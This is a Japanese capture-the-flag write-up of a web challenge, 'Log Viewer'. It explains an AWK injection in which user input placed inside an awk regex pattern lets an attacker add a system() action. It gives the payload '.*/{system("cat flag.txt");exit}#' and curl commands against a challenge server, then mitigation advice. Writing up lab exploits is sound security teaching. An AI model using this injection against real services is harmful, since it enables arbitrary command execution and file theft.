# 2025-12-22_"Log Viewer": 251222
Level: Medium
Type: Web
Solved day: 2025-12-22
## Solution
### Observation: `awk "/{query}/"` にユーザ入力が直挿しされている
サーバ側はフォーム入力 `query` を受け取り、以下のように `awk` の **パターン部** `/.../` にそのまま埋め込んで実行している。さらに `timeout=0.5` が設定されているため、長い処理は途中で落ちる。
- `command = ["awk", f"/{query}/", "info.log"]`
- `subprocess.run(..., timeout=0.5, ...)`
つまりこれは「シェルインジェクション」ではなく、**awk のプログラム構文そのものに対するインジェクション**(AWK Injection)になっている。
### Key idea: `/.../ { ... }` 構文を閉じて action を注入する
awk は
- `/<regex>/ { action }`
という構文を持つ。したがって `query` に `/` を含めて **正規表現リテラルを閉じ**、続けて `{ system(...) }` を注入できる。
ただし、このアプリは末尾に必ず `"/{query}/"` の **最後の `/`** を付与するため、注入後に余計な `/` が残って構文エラーになり得る。
そこで `#` を入れて **awk のコメント**にし、末尾の `/` を無効化する。
### Payload(0.5秒対策:即 `exit`)
`timeout=0.5` のため、ログ全体を走査させるより **最初の1行で実行→終了**が安全。
使ったペイロード(例:`flag.txt` を読む):
```
.\*/{system("cat flag.txt");exit}#
````
これにより awk には概ね次のようなプログラムが渡る:
- 元の想定: `/<query>/`
- 注入後: `/.*/ { system("cat flag.txt"); exit } #/`
`#` 以降はコメントになり、アプリ側が付ける余計な末尾 `/` が無視される。
### Exploit(curl の例)
URL エンコードが必要な記号(`{ } " #` など)があるため `--data-urlencode` を使うと安全。
```bash
curl -s -X POST \
--data-urlencode 'query=.*/{system("cat flag.txt");exit}#' \
'http://34.170.146.252:17672/'
````
レスポンス中に `Alpaca{...}` の形式でフラグが表示される。
(見つけづらい場合)
```bash
curl -s -X POST \
--data-urlencode 'query=.*/{system("cat flag.txt");exit}#' \
'http://34.170.146.252:17672/' | grep -o 'Alpaca{[^}]*}'
```
### うまくいかない時の切り分け
1. **ファイル位置確認**
```bash
curl -s -X POST --data-urlencode 'query=.*/{system("ls -la");exit}#' \
'http://34.170.146.252:17672/'
```
`flag.txt` のパスが違うなら `cat` の引数を調整する。
2. **出力が HTML に埋もれる**
ブラウザなら「ページのソース」や DevTools の Network → Response を見る。
curl なら `grep -o` で抽出する。
## How I thought
### 重要な観察
1. `query` が **awk の `/<regex>/` に直挿し**されている → awk 構文注入の可能性
2. `subprocess.run([...])` で shell を使っていないので、狙うべきはシェルではなく **awk 自体の文法**
3. `timeout=0.5` があるので、処理は **即 `exit` で終了**させる必要がある
### 発想の流れ
* awk の基本構文 `/<regex>/ { action }` を思い出す
* `query` で `/` を閉じて `{system(...)} ` を差し込む
* 末尾に付く余計な `/` を `#` でコメントアウト
* タイムアウト対策に `exit` を入れて最速化
### 学び(バグの本質)
* 「正規表現検索」のつもりで `/.../` にユーザ入力を入れるのは危険
* `awk` / `sed` などは **言語**なので、引数でもコード注入が起こり得る
* 対策は「正規表現のエスケープ」や「`grep -F` のような固定文字列検索」への置換、
もしくは awk を使うなら `-v` で値として渡して安全に処理する、など